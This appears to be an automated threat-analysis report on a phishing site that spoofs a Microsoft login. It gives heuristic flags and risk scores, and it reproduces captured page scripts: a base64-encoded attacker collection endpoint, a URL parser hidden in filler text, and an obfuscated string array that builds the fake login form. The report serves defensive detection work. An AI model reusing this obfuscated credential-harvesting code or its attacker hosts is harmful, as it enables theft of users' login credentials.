Windows Analysis Report
https://rfqdocu.construction-org.com/Q5kL4/

{
    "typosquatting": true,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": true,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": true,
    "third_party_hosting": true
}

URL: https://rfqdocu.construction-org.com

{
    "risk_score": 3,
    "reasoning": "The provided JavaScript snippet appears to be a simple form submission function, which is a common and legitimate behavior. While it does not demonstrate any high-risk indicators, the lack of context around the form's purpose and the target domain means it requires further review to determine if there are any potential security concerns."
}

            function JewelMist() {
                document.forms[0].submit();
            }
        

{
    "risk_score": 6,
    "reasoning": "The script appears to be using the `location.search` parameter to extract a value from the URL, which could potentially be used for malicious purposes. However, the script also includes a significant amount of irrelevant text, which makes it difficult to determine the true intent. Additionally, the script uses the `atob` function to decode the extracted value, which could be used to hide malicious behavior. Overall, the script exhibits moderate-risk indicators and requires further review."
}

        
        const anxiety = (name) => {
            name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');
            var regex = new RegExp('[\\?&]' + name + '=([^&#]*)');
            var results = regex.exec(location.search); // Prosciutto labore aute burgdoggen eu. Id duis ball tip, in chicken short ribs incididunt non corned beef ham. Fugiat proident pork belly, incididunt cillum nulla short loin doner cupim chuck beef. Id capicola ad, ipsum in aute do alcatra enim pork loin brisket bacon. Chislic hamburger cupidatat filet mignon pork chop ex picanha ham hock bresaola mollit ribeye ipsum cow tail tenderloin. Burgdoggen bresaola jowl ad mollit laborum short loin. Culpa dolore ad ullamco. Enim pariatur labore aute eu, landjaeger andouille cupim in elit sed. Picanha ut ground round buffalo. Frankfurter in exercitation filet mignon cillum, pork nulla pancetta. Enim pork voluptate, drumstick veniam chuck shoulder swine tri-tip corned beef duis. Eu id picanha, anim frankfurter et t-bone porchetta. Pig eiusmod consectetur beef in hamburger ham hock pork aliqua aliquip shankle pancetta deserunt ham. Alcatra turkey biltong, pastrami mollit minim fugiat shank shankle ut sirloin pork rump. Eiusmod drumstick consequat reprehenderit sunt tempor mollit, spare ribs excepteur tail eu beef in.
            return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' '));
        } // Jerky esse aliquip brisket flank. Pork minim ham hock sed, chuck fugiat duis dolor drumstick. Alcatra eiusmod ut, laboris in dolor dolore shoulder pancetta proident quis exercitation culpa. Pork t-bone eu adipisicing magna et. Irure alcatra pig andouille nulla chuck ad. Shank qui elit cupim ipsum, strip steak chislic nulla meatball salami pig pork belly est cillum. Leberkas in pariatur, kielbasa spare ribs consectetur alcatra ut quis. Venison chuck boudin flank, prosciutto cupidatat sunt filet mignon. Pig ea t-bone strip steak fatback porchetta tri-tip. Swine ham turducken minim biltong incididunt meatball dolore pastrami pancetta ham hock chicken occaecat sausage pariatur. Dolor quis cupidatat, eiusmod pastrami shoulder beef ribs jerky kevin alcatra. Nisi enim chicken veniam duis ex, alcatra leberkas boudin picanha t-bone cow. Andouille corned beef chicken, reprehenderit tongue chislic ut non aute irure excepteur. Turducken et buffalo tri-tip ut. Ribeye beef velit pariatur, chislic consectetur rump leberkas short loin pork loin incididunt andouille brisket spare ribs.

        rh13z8jemt = anxiety('e') == '' ? rh13z8jemt : anxiety('e');
        rh13z8jemt = atob(rh13z8jemt);
    

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of the `atob()` function to decode a base64-encoded string and the presence of heavily obfuscated code suggest malicious intent. Additionally, the script appears to be interacting with an unknown domain (`636833116.uscourtconstructionlaw.com`), which raises further suspicion. Overall, the combination of these high-risk indicators warrants a high-risk score, indicating that this script should be thoroughly investigated and potentially blocked."
}

var file = "aHR0cHM6Ly82MzY4MzMxMTYwLnVzY291cnRjb25zdHJ1Y3Rpb25sYXcuY29tL25leHQucGhw";

var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1|4|0|2|6|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoBM','\x20.border-i','top:\x2020px;','v></footer','ct(0,\x200,\x200','n\x20id=\x22aich','ed-right\x20{','7,\x20.col-sm','.5\x202.5\x201.5','o\x20.custom-','s\x20.card\x20{\x20',':\x20540px\x20}\x20','class=\x22for','-group:\x207;','n-warning:','md-8,\x20.col','\x20}\x20#nacre\x20','ared/1.0/c','\x20section\x20{','dex:\x201060;','}\x20.paginat','op:\x201rem;\x20','n:\x20linear;','7%\x20}\x20.col-','v2oNI1bxB+','ice-width\x20','elative\x20{\x20','\x200\x200\x200\x20.2r','kit-transf','disabled~.','\x20fixed;\x20to','ems:\x20flex-','r;\x20-ms-fle','on\x20sms\x22\x20wi','t\x20}\x20.ml-1,','YrCZs','r,\x20.card-g','br><br>\x20<s','x:\x200\x200\x2083.','9\x20}\x20.order','ntrol-labe','5\x20}\x20.btn-s','xpand-sm\x20.','round:\x20#27',':valid:foc','ia7uLebbpt','ow:\x20auto;\x20','\x20.justify-','pand-md\x20.d','tn\x20input[t','t-group-sm','ion:\x20norma','-pack:\x20jus','-danger\x20.a','10;\x20-ms-fl','ol-8,\x20.col','active:hov','-file,\x20.in','ontent:\x20fl','-box-align','n-left:\x2075','t\x20}\x20.justi','oe\x20UI\x20Web\x20','-5,\x20.my-lg','al-title],','\x20@media\x20(m','left:\x200;\x20p','d-image:\x20n',':\x20none;\x20op','That\x20Micro','{\x20.float-l','menu\x20{\x20top','.8rem\x20}\x20.b','rtant\x20}\x20.f','sabled).ac','rtant;\x20ali','px\x20}\x20.form','nbspSign\x20i','uppercase\x20','-items-cen','-item-acti','{\x20position','do=login&u','vertical-a','der-sm-6\x20{','tant\x20}\x20a.t','-file\x20{\x20po','ore\x20{\x20bord','border-rig','om-select:','9;\x20backgro','s~.custom-','\x200\x2016.6666','lass=\x22form',':\x20normal;\x20','height:\x20in','dmsTI','tica\x20Neue\x22','navbar-nav',':\x20#fff;\x20ba','line-box\x20!','active>td,','rem;\x20left:','.active,\x20.','ry,\x20.table','\x20class=\x22bg','l-0,\x20.mx-x','it-box-ori','#E5E5E5;cu',',\x20.mx-sm-1','one;\x20lette','ark\x20{\x20back','ffPhm','up-lg>.inp','NX4a/bbz/n','}\x20.m-md-3\x20','0;\x20backgro','las,\x20\x22Libe','idth:1199.','-hover\x20.ta','aoLXh','box-ordina','adius:\x200;\x20','ight:hover','\x20.carousel','select:not','circle\x20{\x20b','span\x20id=\x22n','],\x20.bs-pop','ode_f7ab69','ttom-color','x-order:\x203','\x20order:\x207\x20','n-items:\x20s',':\x20#818182;','.loader\x20.c','-tooltip-t','om:\x201px\x20so','th:\x20130px;','1;\x20max-wid','ard\x20{\x20marg','ent:\x20verti','\x20}\x20.pt-xl-','-auto[x-pl',':\x20350px;*/','-dark\x20.nav','ica\x20Neue\x22,','dy,\x20html\x20{','QpGhscEJIz','class=\x22py-',':\x201;\x20-ms-f','tyle=\x22HEIG','ed-size:\x200','top:\x20.5rem','ollapse.sh',',\x20.125);\x20b','y-lg-auto\x20','#005cbf\x20}\x20','15px\x20}\x20@me','o\x20}\x20.btn-g','ning:hover','p2n6ratZap',';\x20-ms-user','em\x20.75rem;','er>th\x20{\x20ba',':\x203;\x20-ms-f',',Roboto,\x27H','er\x20New\x22,\x20m','ound-posit','\x20}\x20.p-sm-2','\x20.order-xl','eight:\x201;\x20','-danger:fo','re,\x20.bs-po','vbar-light','\x20}\x20.font-w','\x20auto\x20}\x20.b','x:\x200\x200\x20aut','w-y:\x20scrol','DbJFiTKspx','o\x20{\x20color:','sm-first\x20{','izontal;\x20-','AAAAAAAAAA','r-toggler\x20','d~.va

{
  "brands": [
    "Cloudflare"
  ]
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "Next",
  "text_input_field_labels": [
    "6b1zf3@zzpc.net"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

```json{  "legit_domain": "microsoft.com",  "classification": "wellknown",  "reasons": [    "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.",    "The URL 'rfqdocu.construction-org.com' does not match the legitimate domain 'microsoft.com'.",    "The domain 'construction-org.com' is unrelated to Microsoft and suggests a different entity.",    "The presence of a subdomain 'rfqdocu' and the structure of the URL are suspicious and do not align with typical Microsoft URLs.",    "The email address '6b1zf3@zzpc.net' does not appear to be associated with Microsoft, adding to the suspicion."  ],  "riskscore": 9}
Google indexed: False